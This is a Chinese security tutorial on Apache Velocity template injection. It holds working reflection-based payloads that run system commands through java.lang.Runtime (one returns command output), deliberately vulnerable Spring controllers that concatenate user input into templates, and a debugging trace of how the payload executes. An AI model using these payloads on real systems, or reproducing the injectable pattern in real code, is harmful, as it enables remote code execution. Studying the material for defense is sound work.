Java安全之Velocity模版注入
Apache Velocity
Apache Velocity是一個基于Java的模闆引擎,它提供了一個模闆語言去引用由Java代碼定義的對象。它允許web 頁面設計者引用JAVA代碼預定義的方法
Pom.xml
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
相關文檔
基本文法
語句辨別符
#
用來辨別Velocity的腳本語句,包括
#set
、
#if
、
#else
、
#end
、
#foreach
、
#end
、
#include
、
#parse
、
#macro
等語句。
變量
$
用來辨別一個變量,比如模闆檔案中為
Hello $a
,可以擷取通過上下文傳遞的
$a
聲明
set
用于聲明Velocity腳本變量,變量可以在腳本中聲明
#set($a ="velocity")
#set($b=1)
#set($arrayName=["1","2"])
注釋
單行注釋為
##
,多行注釋為成對出現的
#* ............. *#
邏輯運算
== && || !
條件語句
以
if/else
為例:
#if($foo<10)
<strong>1</strong>
#elseif($foo==10)
<strong>2</strong>
#elseif($bar==6)
<strong>3</strong>
#else
<strong>4</strong>
#end
單雙引号
單引号不解析引用内容,雙引号解析引用内容,與PHP有幾分相似
#set ($var="aaaaa")
'$var' ## 結果為:$var
"$var" ## 結果為:aaaaa
屬性
通過
.
操作符使用變量的内容,比如擷取并調用
getClass()
#set($e="e")
$e.getClass()
轉義字元
如果
$a
已經被定義,但是又需要原樣輸出
$a
,可以試用
\
轉義作為關鍵的
$
{} 辨別符
"{}"用來明确辨別Velocity變量;
比如在頁面中,頁面中有一個{someone}name。
!辨別符
"!"用來強制把不存在的變量顯示為空白。
如當頁面中包含msg字元。這是我們不希望的,為了把不存在的變量或變量值為null的對象顯示為空白,則隻需要在變量名前加一個“!”号即可。
如:$!msg
我們提供了五條基本的模闆腳本語句,基本上就能滿足所有應用模闆的要求。這四條模闆語句很簡單,可以直接由界面設計人員來添加。在目前很多EasyJWeb的應用實踐中,我們看到,所有界面模闆中歸納起來隻有下面四種簡單模闆腳本語句即可實作:
1、$!obj 直接傳回對象結果。
如:在html标簽中顯示java對象msg的值。
<p>$!msg
在html标簽中顯示經過HtmlUtil對象處理過後的msg對象的值
!msg)
2、#if($!obj) #else #end 判斷語句
如:在EasyJWeb各種開源應用中,我們經常看到的用于彈出提示資訊msg的例子。
#if($msg)
<script> alert('$!msg'); </script>
#end
poc
// 指令執行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")
// 指令執行2
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end
// 指令執行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end
模版注入
摳了段代碼
@RequestMapping("/ssti/velocity1")
@ResponseBody
public String velocity1(@RequestParam(defaultValue="nth347") String username) {
String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";
Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "[email protected]");
StringWriter out = new StringWriter();
Velocity.evaluate(ctx, out, "test", templateString);
return out.toString();
}
poc
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

調試分析
首先将我們傳入的poc拼接進去後,調用
Velocity.init();
,最終實際調用的是
RuntimeInstance#init
會進行一系列的初始化操作,其中包括加載
/velocity-1.7.jar!/org/apache/velocity/runtime/defaults/velocity.properties
中的
runtime.log.logsystem.class
,執行個體化
org.apache.velocity.runtime.resource.ResourceManagerImpl
以及記錄一些log
之後執行個體化
VelocityContext
并将三個鍵值對 put了進去,調用
Velocity.evaluate()
來解析,跟進
發現是通過
RuntimeInstance#evaluate
中調用
parse
解析
繼續跟進
parser.parse(reader, templateName);
,首先在
this.velcharstream.ReInit(reader, 1, 1);
将在StringReader中的poc存儲到
Parser.velcharstream
屬性的
buffer
中
之後會在process内循環周遊處理vlocity文法之後,大緻解析成下面這個樣子...
進入
this.render(context, writer, logTag, nodeTree);
來解析渲染,主要是從AST樹中和Context中,在
ASTSetDirective#render
将poc put進了context。這裡涉及到幾個類
ASTRference
ASTMethod
,其中涉及到了ast的處理,感興趣的師傅可以自己跟下看看
ASTMethod#execute
中反射調用runtime
調用棧如下:
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:395, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:384, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:173, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:280, ASTReference (org.apache.velocity.runtime.parser.node)
render:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:342, SimpleNode (org.apache.velocity.runtime.parser.node)
render:1378, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1314, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1265, RuntimeInstance (org.apache.velocity.runtime)
evaluate:180, Velocity (org.apache.velocity.app)
velocity1:64, HelloController (com.hellokoding.springboot)
扣來的代碼,這個可能實際環境遇到蓋裡高點,主要是可控
vm
模版檔案内的内容,在調用
template.merge(ctx, out);
會解析模版并觸發模版注入
@RequestMapping("/ssti/velocity2")
@ResponseBody
public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
String templateString = new String(Files.readAllBytes(Paths.get("/path/to/template.vm")));
templateString = templateString.replace("<USERNAME>", username);
StringReader reader = new StringReader(templateString);
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "[email protected]");
StringWriter out = new StringWriter();
org.apache.velocity.Template template = new org.apache.velocity.Template();
RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));
template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();
template.merge(ctx, out);
return out.toString();
}
Template.vm
Hello World! The first velocity demo.
Name is <USERNAME>.
Project is $project